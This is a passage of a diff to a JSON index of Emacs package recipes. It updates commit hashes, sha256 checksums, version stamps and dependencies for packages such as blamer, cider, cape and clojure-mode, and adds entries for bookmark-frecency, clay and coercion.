"repo": "Artawower/blamer.el", "unstable": { "version": [ - 20230930, - 1047 + 20240130, + 1629 ], "deps": [ + "async", "posframe" ], - "commit": "4b70b657f83542491b77a4dc512674f3fa5ce01c", - "sha256": "0hf6f4zix567a65283cn3wvngqppcazsicq9icrkmjw59sgl1hix" + "commit": "f79a7422e5976eb3bee1c73bfcb33d701cc932a6", + "sha256": "14dvg15p18mpkp667jy0515py9alxfpjxv03y1d4p87firm9fffx" }, "stable": { "version": [ 0, - 7, - 3 + 8, + 0 ], "deps": [ + "async", "posframe" ], - "commit": "4b70b657f83542491b77a4dc512674f3fa5ce01c", - "sha256": "0hf6f4zix567a65283cn3wvngqppcazsicq9icrkmjw59sgl1hix" + "commit": "e249fa3ae23cfc013883bcc138ef9f46107acb0c", + "sha256": "03wvmhv4m7am4hhy0m454bn1c2cvpi33z2sxdwf9fnfd5drwhrgm" } }, { @@ -8490,11 +8511,11 @@ "repo": "rwv/bluesound-el", "unstable": { "version": [ - 20230328, - 1430 + 20231124, + 1347 ], - "commit": "f6a43dbe8b5a3d4541170717571c793ae3313c98", - "sha256": "1g5cxyg7qszk7bh6xrhrb9syjyb1p69pswfb5r8yp7lm97wy5vqd" + "commit": "92f6ebacfa20e89ccd10d27bdb84c74b6413cc68", + "sha256": "1ffhdh7jryzpbzn2bcgxn06pi431dg5n4zjg06qkshydj580gwck" }, "stable": { "version": [ @@ -8749,6 +8770,21 @@ } }, { + "ename": "bookmark-frecency", + "commit": "6565a1b5274a6fd171e818139dd8c7003335688f", + "sha256": "13kga9ra4w5526z884wfdaxhx6y2jyr9fp5cvz5nr5i5p6r4n51p", + "fetcher": "github", + "repo": "akirak/bookmark-frecency.el", + "unstable": { + "version": [ + 20231126, + 1320 + ], + "commit": "b969969865eae11b84bd3b0bc54cc5cacdcefaa8", + "sha256": "03wnbb5ibbr68iy0vlhl49078bj72vj9zx2q7l50b6yvkn5g1ymf" + } + }, + { "ename": "bookmark-in-project", "commit": "962f7c87d0630399ea388f25ec5792fa2f2b4489", "sha256": "0vjldwy7mrks0d4sxpwj0riimacnk8l33amcjcicranzjb396zkv", @@ -8771,11 +8807,11 @@ "repo": "minad/bookmark-view", "unstable": { "version": [ - 20220403, - 2204 + 20240102, + 334 ], - "commit": "0d40ac67f53b7fa75fe65c38a5ef65701ce4c3da", - "sha256": "0sa5lypdxgffzz22kq2jpcc02xmcmr77bsc0iggh7b2khnxjppxj" + "commit": "2d16b2f88a106e57c58ad2af1f7166a847996512", + "sha256": "0sh15mbs5j6nq4d2dh4xg1hh783r6sx4vf30jk07jw1392anxwp8" }, "stable": { "version": [ @@ -8818,29 +8854,29 @@ "repo": "jyp/boon", "unstable": { "version": [ - 20230815, - 905 + 20240109, + 1943 ], "deps": [ "dash", "expand-region", "multiple-cursors" ], - "commit": "ea3b39b6920959d8cb87698087912ab1ab9f90b3", - "sha256": "192zby67j34zfxbpgi7n5m6rkb8r2yzma5b46hy0pfm0sy3pyqyf" + "commit": "ef9650bb73ce901ad0fa3aef4685393a31aaa3d9", + "sha256": "12397nvbmzfnzw11dnv8xf1mapi1z9a6j9iapbx363cprsbina2b" }, "stable": { "version": [ 1, - 2 + 3 ], "deps": [ "dash", "expand-region", "multiple-cursors" ], - "commit": "d31550b3336d706b57df0e43bedf3e95a615ce0d", - "sha256": "18il2licf8pgfcrpx2bk55gpf8f537kb9cxqz83jldkhiyry74il" + "commit": "ded55a290065e39856266e74fb6eb92795c0c214", + "sha256": "0jmmxav45sbch9prdxipd04rdmyh5ca1r9lpdlj61b5c4vlm4282" } }, { @@ -8851,15 +8887,15 @@ "repo": "emacscollective/borg", "unstable": { "version": [ - 20231101, - 2319 + 20240101, + 2212 ], "deps": [ "epkg", "magit" ], - "commit": "d8aecb09193448de12d5a19ac7bf242f3c39e767", - "sha256": "07lfdmfs2bfn9a0zq6jvh8mizj0sr02ngib6fil9w31rlp7p8gnn" + "commit": "4666dd7fc827c7817d192cc80d1440565c5f49d3", + "sha256": "122rdvvfkhf3k0kf92ram1qw7dw9xbnn0z6kwkfbh1w6jipnwvi3" }, "stable": { "version": [ @@ -8937,14 +8973,14 @@ "repo": "davep/boxquote.el", "unstable": { "version": [ - 20220919, - 714 + 20231216, + 852 ], "deps": [ "cl-lib" ], - "commit": "fe676396fa7e4372e01bf2c3d9a62e8d53615d46", - "sha256": "0d7m9kcwhbgv4pikaa2dzlg9zkmwdhyx2ksn68di6xzbh838892q" + "commit": "8d6c307ab3b783c5042065d0ae54961adb506484", + "sha256": "1i3i9v09y6f03w5i9n9n4k9v31bxnsy81ys35iapa918d74lcvf3" }, "stable": { "version": [ @@ -9011,11 +9047,11 @@ "repo": "museoa/bqn-mode", "unstable": { "version": [ - 20231008, - 1932 + 20231217, + 1203 ], - "commit": "1a42e1cf87ae8a899a45573dfa9eaee1ab436d9b", - "sha256": "09jf445y01dh3lqz5hmzf9f1m6hpzwiprd4fgc3j33lbyi1wggqi" + "commit": "23fd9db096ab3a5c5fbd034e721b8a7d27d1d6b7", + "sha256": "0nlwhk353fdl3jwmi1c6mz5898mh717lvldv9jypj9jdipcw6icc" } }, { @@ -9083,11 +9119,11 @@ "repo": "Michael-Allan/Breccia.Emacs", "unstable": { "version": [ - 20230406, - 1547 + 20240105, + 1218 ], - "commit": "a1d519bd592d34c05f3fbaa2c209249969823fb6", - "sha256": "0rphi8dai5hdjbkdi0a0rhnlm6a2rw03mqvs8s3m50hssisl9mmm" + "commit": "6d938c49fd8b32f3be8e62a17cf9a2f8b825e8a0", + "sha256": "0bmk518366kd8x7jllm9cqpnz3vclg3zlsk544nyh6nnc9sgz4x6" } }, { @@ -9254,11 +9290,11 @@ "url": "https://git.madhouse-project.org/algernon/brutalist-theme.el.git", "unstable": { "version": [ - 20231112, - 1455 + 20231120, + 721 ], - "commit": "dbe094221fd727b8d3a4bffa84fc754df83c0450", - "sha256": "1m9z3sswm79rawivgz4fw51cp20qznsa9911dci3b2xpnnhpz89i" + "commit": "c387f3f0aaae147270c61dcd3140fb4eb20965ad", + "sha256": "1jbnm4wfz41ns51wl63qm2bkib7hfs437lx1bgdk9djbpiwik4d2" } }, { @@ -9636,11 +9672,11 @@ "repo": "jcs-elpa/buffer-wrap", "unstable": { "version": [ - 20220704, - 646 + 20240101, + 935 ], - "commit": "b6b2118f59b8152fa02bd0b09d65a1f8ade4141b", - "sha256": "0wcn5g660qg0lzl8zky7n03y5kb9jpyrc4xqn44ddz2ziqzmdh7w" + "commit": "c2d12ef25ffac4827dc598d81fac75cb865663b6", + "sha256": "037crgbfyfzvd090nairqh1bnpyb3l5m9qy7bcsf7zsifwlj1wz6" }, "stable": { "version": [ @@ -9675,8 +9711,8 @@ "repo": "alphapapa/bufler.el", "unstable": { "version": [ - 20231108, - 29 + 20231220, + 1307 ], "deps": [ "burly", @@ -9686,8 +9722,8 @@ "map", "pretty-hydra" ], - "commit": "5b76a6c7bd53d0f2fe5993b7c316da15bb2cd3f5", - "sha256": "1a67iykwb5m12famy04iw695kv5gnk8f944y6cnvjlj71dx7h9y4" + "commit": "ff0d371b853a65943ccd3546fe947d407cd2e28a", + "sha256": "1hl9cy7ldfv9gmp3xvykz3a2j5rw90zjr3vk6srsl7akc0la4n4n" }, "stable": { "version": [ @@ -9902,14 +9938,14 @@ "repo": "alphapapa/burly.el", "unstable": { "version": [ - 20230917, - 1714 + 20231218, + 1045 ], "deps": [ "map" ], - "commit": "f503fdc3af2f4e4a2a9023c763f71582e09eee8c", - "sha256": "01n7z6lgvsasid1ri2h58ycn0rsswr0y3ic0slvkwy3vlszwaa5k" + "commit": "6626df0c2054cb0662bf113ba4cbad641b588d0f", + "sha256": "10ggzbg04midvk932cj9vzg7ni5w97yn1gmx4mj0h5yr7h1lwzhp" }, "stable": { "version": [ @@ -10054,19 +10090,19 @@ "repo": "jorgenschaefer/emacs-buttercup", "unstable": { "version": [ - 20231005, - 2120 + 20231206, + 2351 ], - "commit": "3780eb081913d1aeef2bc5950891a3fbe3b3771d", - "sha256": "1lmiyipwhy5fi6yajx85c68drn5dxxy47yc2dpch8y9y2b2mbyin" + "commit": "e4fb7cd560d27d8879a2c7739ee96946adec2df8", + "sha256": "10q6zr837yaal1g3l7vmj08b3c301j99b290pylshb0si360a27h" }, "stable": { "version": [ 1, - 32 + 33 ], - "commit": "3780eb081913d1aeef2bc5950891a3fbe3b3771d", - "sha256": "1lmiyipwhy5fi6yajx85c68drn5dxxy47yc2dpch8y9y2b2mbyin" + "commit": "e4fb7cd560d27d8879a2c7739ee96946adec2df8", + "sha256": "10q6zr837yaal1g3l7vmj08b3c301j99b290pylshb0si360a27h" } }, { @@ -10763,25 +10799,25 @@ "repo": "minad/cape", "unstable": { "version": [ - 20231029, - 1004 + 20240130, + 2301 ], "deps": [ "compat" ], - "commit": "085287d793ea2fd06b47ebcb6ab08e88533e5185", - "sha256": "02achp9avmd7bhpvx70lxacs2h1lpl1aigj0ism4dww8vff9qv63" + "commit": "bfde79ed440343c0dbf0f64cfe7913c1efbe3f83", + "sha256": "0cf5cbxdbm5qx6a2d44c6a4a6k9pb0a33w4vnj99x9lwiam7hnff" }, "stable": { "version": [ - 0, - 17 + 1, + 2 ], "deps": [ "compat" ], - "commit": "7bec22b26be62bc0dab0c2a1ba6bc4b33fcabba1", - "sha256": "1kzhiffzv20rwjcx0iywj39hxibw0wga9ck77yam9xv7ips2mav4" + "commit": "a687fbeddc0f1dcdc7e4c2d2a69c96243587317d", + "sha256": "02cbk9avlsqyjxs2nq1bj3sa561ar990gfhwzg1nxapwgcdxikn6" } }, { @@ -10802,10 +10838,10 @@ "version": [ 1, 0, - 1 + 2 ], - "commit": "c7f810a76ca88ff28613fa165927e0269255aab0", - "sha256": "14fmiki4hlrxfah1j5qmlfpi2pjjn2ppzgnsk00yarhc8y58kfv6" + "commit": "1a0e12c0a3ba1f0dbbad45ddfef555166e0a14fc", + "sha256": "1vxqcjs9fxlms3nxhi0905bwbja5dm9pa72kcw4iyyjka2ln8mrd" } }, { @@ -10895,14 +10931,14 @@ "repo": "kwrooijen/cargo.el", "unstable": { "version": [ - 20230125, - 1253 + 20231229, + 915 ], "deps": [ "markdown-mode" ], - "commit": "225fdb846c702a193e58a98c1585bb3586a9aa86", - "sha256": "03wm1wq6jax1a30ix5hn3n8d95nn0hkc6l9mipy77ayfcawkd31h" + "commit": "7f8466063381eed05d4e222ce822b1dd44e3bf17", + "sha256": "1hvxdmyppvx04jyn07dnynlgbwyasv22k8dd4qa68mrj8i9mz484" }, "stable": { "version": [ @@ -10925,11 +10961,11 @@ "repo": "ayrat555/cargo-mode", "unstable": { "version": [ - 20231106, - 1948 + 20240116, + 1949 ], - "commit": "3fecf5d78f3c23579f3b3379efc436005c475682", - "sha256": "1iwg4zia4x1ydz2mvpmarzv0s7kih6zcxiq2ya8iqahr1xrqx48l" + "commit": "c2df42d18afe2fbc3fde0be3e8b2abeecb3b00c8", + "sha256": "157glxw622ijm53sljcqlqhpf5pj1jhd810sq49hmzxxd5pvyfjp" } }, { @@ -11155,11 +11191,11 @@ "repo": "catppuccin/emacs", "unstable": { "version": [ - 20231106, - 1241 + 20231213, + 1318 ], - "commit": "b778bb48be7111e19f27dc99891b515074496f82", - "sha256": "1nynlmwdzy1mgzx4jg3c7llffk19hixzk7bbsk6m1zhxgnsickqh" + "commit": "1e9bdb0c19bf13c27a32b1adeabcace45fcbfd15", + "sha256": "1cv46rqdd159plnqdkl74zwcgmbndq81d02g41a327hdwbpahp6v" }, "stable": { "version": [ @@ -11238,11 +11274,11 @@ "repo": "xuchunyang/cc-cedict.el", "unstable": { "version": [ - 20210814, - 819 + 20231209, + 1109 ], - "commit": "03fbe7d1589d36f627ef9fe7b86f9fe6f623cbb3", - "sha256": "0lp5n3ar1k0scn8xzjylp7mgzf637ibbzai039n72z68nx2drilk" + "commit": "0c124beae160d5ff9be927bfb5e1a5fd8d50817a", + "sha256": "0cpmryg6haqlrfz6hwm10k7iw66hgwclm8lhdbikr97b6536bni5" } }, { @@ -11268,15 +11304,15 @@ "repo": "emacs-lsp/emacs-ccls", "unstable": { "version": [ - 20230815, - 731 + 20240124, + 1050 ], "deps": [ "dash", "lsp-mode" ], - "commit": "47f8caa374f38eba7d557f61aac000164387a33f", - "sha256": "0l699zav5211ac1w0jbag1x6fb4dcfpwkrinlplzyqswjji1qv00" + "commit": "9b4a47e0418de8cc2fc93317e27cbdde75286df1", + "sha256": "0kj0naml21l5y5pyy1z9x1yqj76wm13ck1kkki9vp4g60w0ac0v7" } }, { @@ -11317,11 +11353,11 @@ "repo": "cdominik/cdlatex", "unstable": { "version": [ - 20230920, - 942 + 20231118, + 645 ], - "commit": "7521fa1b39de735dcbd32bca92a792d5261e9ce2", - "sha256": "1bdjcfk3xs85r2zkkl54dpk34x4dm9n8psw27ry69sa24nshqrps" + "commit": "33770dec73138909714711b05a63e79da5a19ccd", + "sha256": "05wxwc28wsndj2ks0ymdbfr2sz4ybr0py85p3dryps82vv2qzbpj" }, "stable": { "version": [ @@ -11668,7 +11704,7 @@ "repo": "worr/cfn-mode", "unstable": { "version": [ - 20231112, + 20240128, 904 ], "deps": [ @@ -11676,8 +11712,8 @@ "s", "yaml-mode" ], - "commit": "2640b72b7eed0b5f702377d3e0d723c23dda792f", - "sha256": "1g31lyzl3fx3bqgd1yrjrpb7a8zbl3sr8jqsssn5f6yp4lm4bqzb" + "commit": "b00bd56bd3afba49764720e506a03a3bd577be60", + "sha256": "0zrdl58kga0184v6s67laygbpa5p7qsg3migh308g805lapmlal1" }, "stable": { "version": [ @@ -11702,15 +11738,15 @@ "repo": "plandes/cframe", "unstable": { "version": [ - 20231101, - 1742 + 20231204, + 1959 ], "deps": [ "buffer-manage", "dash" ], - "commit": "d0f8b36cce8a9f2e1caa373e8c336c16d092c2ad", - "sha256": "0649k683y8yd73s9za02cqy44rd71s7zcb9qgnx39ygky10sdf3x" + "commit": "bcd75f0f9699de962749c09b61ba0ce7a55ee35f", + "sha256": "1k1skg3f1n1hhij302gf3sj92qj7nnkgyc66ql9c1i6c28nx40p2" }, "stable": { "version": [ @@ -11791,11 +11827,11 @@ "repo": "challenger-deep-theme/emacs", "unstable": { "version": [ - 20210120, - 941 + 20231218, + 1042 ], - "commit": "2a799259406a8b96a688873093ffab6630a3ad3b", - "sha256": "1rl3rkrbms96wv51mwxih9b4zg1dzh3jcmx4ylgamg77abd03sg3" + "commit": "1afd5787374c2bf3bfb46beb18e64d5677c07366", + "sha256": "09pcdwk24j1jjvvwy2x9qp1pya4kzs0ly0wniydlmkzzj4xjr4n4" } }, { @@ -11806,14 +11842,14 @@ "repo": "positron-solutions/champagne", "unstable": { "version": [ - 20231111, - 358 + 20231229, + 947 ], "deps": [ "posframe" ], - "commit": "a99e1584207bc03a0cb776f715bd47de1d651010", - "sha256": "09ms3yx7h2ynqyf9mdjp90asahncq7k1mvnbkvj1g9f1l59zk6ns" + "commit": "2106273c47f898006a799f0c5e35922af4b41f54", + "sha256": "1cmbbnqjbg5sw3svvr99dk6lrmiir6yy8cvz69bl3r7ga6cpiacv" }, "stable": { "version": [ @@ -11833,14 +11869,14 @@ "repo": "magnars/change-inner.el", "unstable": { "version": [ - 20210126, - 1456 + 20231203, + 1021 ], "deps": [ "expand-region" ], - "commit": "42cad58aed2caec260f8e8ff61f78a7d3db72d1b", - "sha256": "0hs5hw36yagchpihx18059gi8b85hrccm82ynh89y7dkk1pw3wy1" + "commit": "1394f5c07a95a97e39d616a1d7054d7c9bc49ba3", + "sha256": "1pi5yik2x2vfg9d51hzymzmrcv5ngql5skwa0mz2jgyh7k6c6q3v" } }, { @@ -11938,14 +11974,14 @@ "repo": "xenodium/chatgpt-shell", "unstable": { "version": [ - 20231113, - 356 + 20240129, + 935 ], "deps": [ "shell-maker" ], - "commit": "50984ba1e833be89c41b9779e8dca5d04cb16a29", - "sha256": "1fvcd3gyipxq9x3yfl5q6i3yx2fq5vwqf6wx4c200awqc1crs89l" + "commit": "e2073d9499a2072c16d669ec86d7dda0db4a0f4f", + "sha256": "1zfkvbwd01mcw44bi7b12r5xnnsh3973sh0qkk2wv5sl60lfzd91" } }, { @@ -12345,26 +12381,26 @@ "repo": "breatheoutbreathein/chordpro-mode.el", "unstable": { "version": [ - 20231003, - 2349 + 20231205, + 26 ], "deps": [ "compat" ], - "commit": "c2e0d7e1b2d3b857678bc13cde9e2733cfb71e84", - "sha256": "1scqa1kh3p20mvk7jrvj061b33nk32ajs74b683632zxdb3qh4rb" + "commit": "a63fc0b7181299befc4496cba04e0f84d5953000", + "sha256": "0b2psymnp5bvx1ags4dx0xpm852bygrslk2qj4c8br5g89xh3pil" }, "stable": { "version": [ 2, - 1, + 2, 0 ], "deps": [ "compat" ], - "commit": "38bb541cf55b214862589ccc54f123271e4ff6ac", - "sha256": "0jq93fxx0b4s961js1iaipqwjr2ips4jjswggc4m0w1qgpqdwdij" + "commit": "5dd6e08bda7caea872d56b01d83080e5465d3548", + "sha256": "0jvw1pkncr27x86iyh51hkhxsnxl37rj4zrpdis2vk7hghqxca1v" } }, { @@ -12562,11 +12598,11 @@ "repo": "chyla/ChylaThemeForEmacs", "unstable": { "version": [ - 20230907, - 1019 + 20231220, + 1545 ], - "commit": "9ed08f18d8258755779ef2edc7964e3bd50f3a5c", - "sha256": "0xx8kmvd8kp95jxx4yrb8923x75022dl62lnwa9c18xcrcwk1208" + "commit": "4d4b9dca3547e919ed5311cc7d04821f77860fbd", + "sha256": "1b41ar0ii5ikfi3hxss2maxgn2lx3kxzizpr9kf5218kmhjy3fh2" } }, { @@ -12577,8 +12613,8 @@ "repo": "clojure-emacs/cider", "unstable": { "version": [ - 20231114, - 1140 + 20240201, + 2038 ], "deps": [ "clojure-mode", @@ -12589,13 +12625,13 @@ "spinner", "transient" ], - "commit": "5261886ad7c0a8828d022812c7c1c6b503ddd6ba", - "sha256": "1m9bva5wi4mna80qrr401pvghxk54nh773544c5i11fanisyq9sc" + "commit": "aa26d62ac59930079e47e652ccd73e8e447defd5", + "sha256": "0l7nm6bn2ah6hwklj1dr4dk4mrbcbk04589zymr8lvyba54918wq" }, "stable": { "version": [ 1, - 11, + 13, 1 ], "deps": [ @@ -12607,8 +12643,8 @@ "spinner", "transient" ], - "commit": "9c605cd4938c0055c2766c55606f19ecbf664e8e", - "sha256": "15s8nvzgz4ymayg0k3nia9h7kcrn5c8m4clspgz2pzz3ywh10cfw" + "commit": "06dc45844ad05fe23fccb7dec1609404e3cda88e", + "sha256": "0aswxqhdhxm2hx8cvpa47siah1d8n7kswdj1p7nplzqzzqzcy34h" } }, { @@ -12811,14 +12847,14 @@ "repo": "emacs-circe/circe", "unstable": { "version": [ - 20230910, - 1438 + 20231119, + 1420 ], "deps": [ "cl-lib" ], - "commit": "4df4e5c5e6220de6154393d7b6a9f437fb0ee006", - "sha256": "0wgf6v26lq3jm1vww6sifrqlwi0mfjqdndyqhryyy17s6ipz6hyk" + "commit": "d374042741cfd0691135f215d311dca8b7a47d19", + "sha256": "0509nskxf2a4msidqq18pymn0szpxmn05dfmrp7x4lwarjgr4f37" }, "stable": { "version": [ @@ -12889,16 +12925,16 @@ "repo": "emacs-citar/citar", "unstable": { "version": [ - 20231112, - 1605 + 20231226, + 1453 ], "deps": [ "citeproc", "org", "parsebib" ], - "commit": "8115bed9d4ce0b7a0765de6fbe6b4efdad23b89e", - "sha256": "1mmlax5z437d96wn3v2gjck3cmx8k8r370rrymiisgjar8sj8bg9" + "commit": "885b86f6733fd70f42c32dd7791d3447f93db990", + "sha256": "1kzwllhcn77z6gsdxl6r1csv9nj64qbgznpy8r8kvnri3fl55w4h" }, "stable": { "version": [ @@ -12923,29 +12959,29 @@ "repo": "pprevos/citar-denote", "unstable": { "version": [ - 20231014, - 421 + 20231229, + 531 ], "deps": [ "citar", "dash", "denote" ], - "commit": "f093c37d28320a04b5e7ee87d5c442fefa749c35", - "sha256": "1bnyqvdawyxrafz7c79f6xq5h90rhdakmv6g1jhplh881zmkq25w" + "commit": "0c68a4f74f5dcfc23ef03b211658a2ccc5d9aa3b", + "sha256": "0g476awbrdws7k7smk1qasz15df20zilx3wqbi3wj0i1q2dbsi8z" }, "stable": { "version": [ - 1, - 8 + 2, + 0 ], "deps": [ "citar", "dash", "denote" ], - "commit": "f093c37d28320a04b5e7ee87d5c442fefa749c35", - "sha256": "1bnyqvdawyxrafz7c79f6xq5h90rhdakmv6g1jhplh881zmkq25w" + "commit": "0c68a4f74f5dcfc23ef03b211658a2ccc5d9aa3b", + "sha256": "0g476awbrdws7k7smk1qasz15df20zilx3wqbi3wj0i1q2dbsi8z" } }, { @@ -12956,15 +12992,15 @@ "repo": "emacs-citar/citar", "unstable": { "version": [ - 20231019, - 2047 + 20231122, + 1548 ], "deps": [ "citar", "embark" ], - "commit": "e21bf22b29d8ca40649517bb7dc503765f240282", - "sha256": "07q94iplkx29lggrs5xfzj42rxfcn2cnbr90jgifk29jshcz30pv" + "commit": "572b7b6e569e9423dd948539fa48d3f53ceffe57", + "sha256": "17qfkiwy2mvyp6rwkxwxhlx2lxw5j2rb7n15c3dyzvfdphxjfikd" }, "stable": { "version": [ @@ -13020,10 +13056,11 @@ "repo": "andras-simonyi/citeproc-el", "unstable": { "version": [ - 20230228, - 1414 + 20231230, + 1309 ], "deps": [ + "compat", "dash", "f", "org", @@ -13032,16 +13069,17 @@ "s", "string-inflection" ], - "commit": "290320fc579f886255f00d7268600df7fa5cc7e8", - "sha256": "131b6jcyyry4qpv536n4llf8d5xc3a98qq49rvsp0sqwipqhx4qs" + "commit": "c61c98b9d230ea28b2ca49498134803e1f8ea526", + "sha256": "04h6mgfyhx8zkjbcfhaac88754w61592pjdj27ayxh0xj0gybxzz" }, "stable": { "version": [ 0, 9, - 3 + 4 ], "deps": [ + "compat", "dash", "f", "org", @@ -13050,8 +13088,8 @@ "s", "string-inflection" ], - "commit": "121efe540303ded2ebf486281e6fd472966e7cbe", - "sha256": "0md8pfmd0v9ipnxj1q13vv81hl90wf4rm46czbk1fdzkyf9js08m" + "commit": "9fe5f28b274eda5212fe1936c1b58184b63cca6d", + "sha256": "1l74c2f2xjzsp3i331sw3db4fhbvdbwyd856j1ygldwrh4rli9ml" } }, { @@ -13100,11 +13138,11 @@ "repo": "universal-ctags/citre", "unstable": { "version": [ - 20230630, - 1536 + 20240203, + 457 ], - "commit": "c617acef3dc2a88aaffa42a515ce7dbaba98228a", - "sha256": "10lj6w67vsdxdzg0y69qzpccai4054xg8kl9jpavnwn5i12nlp7l" + "commit": "155251127bbb51588445ed8fa49368cff1fff2c2", + "sha256": "1r12haizv0bl69dl0myfng9sivblsq4njz1wc9r0i6nsfknravxr" }, "stable": { "version": [ @@ -13195,14 +13233,14 @@ "repo": "emacsmirror/clang-format", "unstable": { "version": [ - 20230809, - 2200 + 20240115, + 1750 ], "deps": [ "cl-lib" ], - "commit": "bce0bb4ca17ecb6e6927074920945cef2a78f5b6", - "sha256": "1v99876wi8kld5wc7nhmm7gmp36i29x21y9mjzi4mq5zq2kqlpr6" + "commit": "9f4358fcc8b04018cc1ed46fcc96fc7bfa361a47", + "sha256": "0cing1dk1zbb5pclf6zrndj26byssggh5fxlsly7cf9hyjwj2c1j" } }, { @@ -13242,6 +13280,24 @@ } }, { + "ename": "clay", + "commit": "051ff5bbbd7183f83b918aee96cb68c58f164bcd", + "sha256": "09fdy8f2gnzqnivwjbhlwv02ivj0d7pycv83rsdaiwp9mfa9jqs9", + "fetcher": "github", + "repo": "scicloj/clay.el", + "unstable": { + "version": [ + 20240115, + 2125 + ], + "deps": [ + "cider" + ], + "commit": "26b65a107cf55e4955401d3dbc63d58479f29773", + "sha256": "0i3zf2q0jf0f18kqg287xmiywf44cgg90ym8y8c67fmvpz5c13sv" + } + }, + { "ename": "clean-aindent-mode", "commit": "ee9dac7c10e652f026643620418dfea9237a0d23", "sha256": "1whzbs2gg2ar24kw29ffv94dgvrlfy2v4zdn0g7ksjjmmdr8ahh4", @@ -13530,8 +13586,8 @@ "repo": "clojure-emacs/clj-refactor.el", "unstable": { "version": [ - 20231116, - 525 + 20240116, + 1119 ], "deps": [ "cider", @@ -13544,14 +13600,14 @@ "seq", "yasnippet" ], - "commit": "05e90bd9a0f24027011aab1bf041c16a24797e0c", - "sha256": "0y91034nkvx9sz69k5wfynf0cj4rcwnav33n8bq72cknvv67zll8" + "commit": "fa3efe18e7150df5153a7d05c54e96d59398a0a8", + "sha256": "17c9lrykbfp0ab7lmi4jh34q6ir7i46acn313xw5342d2q5ql6sk" }, "stable": { "version": [ 3, - 10, - 0 + 11, + 3 ], "deps": [ "cider", @@ -13564,8 +13620,8 @@ "seq", "yasnippet" ], - "commit": "b476345c580ae7cbc6b356ba0157db782684c47f", - "sha256": "100ngpgvff0xvw1h5krvh40sa3ympl241imwskcv62yk29m9z411" + "commit": "fa3efe18e7150df5153a7d05c54e96d59398a0a8", + "sha256": "17c9lrykbfp0ab7lmi4jh34q6ir7i46acn313xw5342d2q5ql6sk" } }, { @@ -13859,20 +13915,20 @@ "repo": "clojure-emacs/clojure-mode", "unstable": { "version": [ - 20231105, - 1254 + 20231124, + 1721 ], - "commit": "481ca480e8b7b6c90881f8bd8434addab1d33778", - "sha256": "09124cnvq7cnllsnbbshx1frbha6sydjgzn00k3rkyxclhbm8vhd" + "commit": "222fdafa2add56a171ded245339a383e5e3078ec", + "sha256": "089xg4801h9vbgiyh1m58ib1c4y8k11n8znddsr7gk6rsmr9kb2g" }, "stable": { "version": [ 5, 18, - 0 + 1 ], - "commit": "525fc1b131b1fc537aa82d83d9eb2ea833cface6", - "sha256": "0g4x587fpzcj9y59k8sb1g7c6yvga9gjs8ximpmar7d8jq2cv5qa" + "commit": "25d713a67d8e0209ee74bfc0153fdf677697b43f", + "sha256": "1d5kkq2i8d04k2qfrb31zyjpij92ckbccnzvz01mls3xrvpr57m5" } }, { @@ -13883,26 +13939,26 @@ "repo": "clojure-emacs/clojure-mode", "unstable": { "version": [ - 20231018, - 922 + 20231124, + 732 ], "deps": [ "clojure-mode" ], - "commit": "525fc1b131b1fc537aa82d83d9eb2ea833cface6", - "sha256": "0g4x587fpzcj9y59k8sb1g7c6yvga9gjs8ximpmar7d8jq2cv5qa" + "commit": "25d713a67d8e0209ee74bfc0153fdf677697b43f", + "sha256": "1d5kkq2i8d04k2qfrb31zyjpij92ckbccnzvz01mls3xrvpr57m5" }, "stable": { "version": [ 5, 18, - 0 + 1 ], "deps": [ "clojure-mode" ], - "commit": "525fc1b131b1fc537aa82d83d9eb2ea833cface6", - "sha256": "0g4x587fpzcj9y59k8sb1g7c6yvga9gjs8ximpmar7d8jq2cv5qa" + "commit": "25d713a67d8e0209ee74bfc0153fdf677697b43f", + "sha256": "1d5kkq2i8d04k2qfrb31zyjpij92ckbccnzvz01mls3xrvpr57m5" } }, { @@ -14034,15 +14090,15 @@ "repo": "magit/closql", "unstable": { "version": [ - 20230914, - 1250 + 20240125, + 1741 ], "deps": [ "compat", "emacsql" ], - "commit": "909752e2aa946bd91b27a1813982e2b20ae27dde", - "sha256": "12jan3mwnkjdf06df2ah9pmy2ikrsi436ljk0xcfrns9q4cja6hs" + "commit": "dc8cacbafc4d99ac25280c973a754a5ee5dbe2b0", + "sha256": "124x6ag003lgjx3sfzy7fjn2vd9s75shmqssxgax1a09kb5iwl88" }, "stable": { "version": [ @@ -14227,20 +14283,20 @@ "url": "https://gitlab.kitware.com/cmake/cmake.git", "unstable": { "version": [ - 20231115, - 1355 + 20240126, + 1513 ], - "commit": "9cfff766eb26ab8b29aa509e42d6b367dd00c7b7", - "sha256": "0z1f9hrrmgrpcigavadkzdz31m2fl2mm099gwqn550awwaqdp7y3" + "commit": "409ab01039dd3c8f5ae0df48a1ee1c356132a9bf", + "sha256": "015246558f89vsv8ai5a53nbr1cv3ia37dndqb67r3v1fbysymbi" }, "stable": { "version": [ 3, - 27, - 8 + 28, + 2 ], - "commit": "9cfff766eb26ab8b29aa509e42d6b367dd00c7b7", - "sha256": "0z1f9hrrmgrpcigavadkzdz31m2fl2mm099gwqn550awwaqdp7y3" + "commit": "1f25aa1a0ac61a0b3d5b0c4e2abc98c49cd159a5", + "sha256": "1wd7xdlfski5g1jnx5pb7csqcsk4di6l278l9nbrg949z6dn5dq0" } }, { @@ -14392,11 +14448,11 @@ "repo": "astoff/code-cells.el", "unstable": { "version": [ - 20231015, - 1328 + 20231119, + 2138 ], - "commit": "8a1f0281f88239b956250a8c76bada8aa9debe2c", - "sha256": "1yyfwxnq3wfaakij7yvlv8f6gs1y8r3q3vhyqic2q4z98kws7jm9" + "commit": "44546ca256f3da29e3ac884e3d699c8455acbd6e", + "sha256": "1fc5l87kzmnwxmrq2v7x4jzcplq375v9j0h2yz4grzaql3jcc419" } }, { @@ -14600,6 +14656,30 @@ } }, { + "ename": "coercion", + "commit": "71f9f41c54e88107a6340fceb19d40b777543dda", + "sha256": "1fx4grkbyycpxflhkhspwsyjplf5wlsrpyd6kz7xyxb83fmx80s9", + "fetcher": "github", + "repo": "liuyinz/coercion.el", + "unstable": { + "version": [ + 20240107, + 2154 + ], + "commit": "a96ecfa3a44f2e15349abf265905c6c607cf2c07", + "sha256": "0200bq5qv5dkf1mvyhnza0m08z5p7g5irbrmwxd65znr99d648lh" + }, + "stable": { + "version": [ + 0, + 1, + 0 + ], + "commit": "72c65d4586a31c8b8e8915efcd675f3d7326a212", + "sha256": "0hmh4wqxm0nhcqp2dd336mg0kmpfj8kzgd17j9fkv0n36kry35cw" + } + }, + { "ename": "coffee-fof", "commit": "9024e5a71c992509a1dea5f673a31b806d5e175e", "sha256": 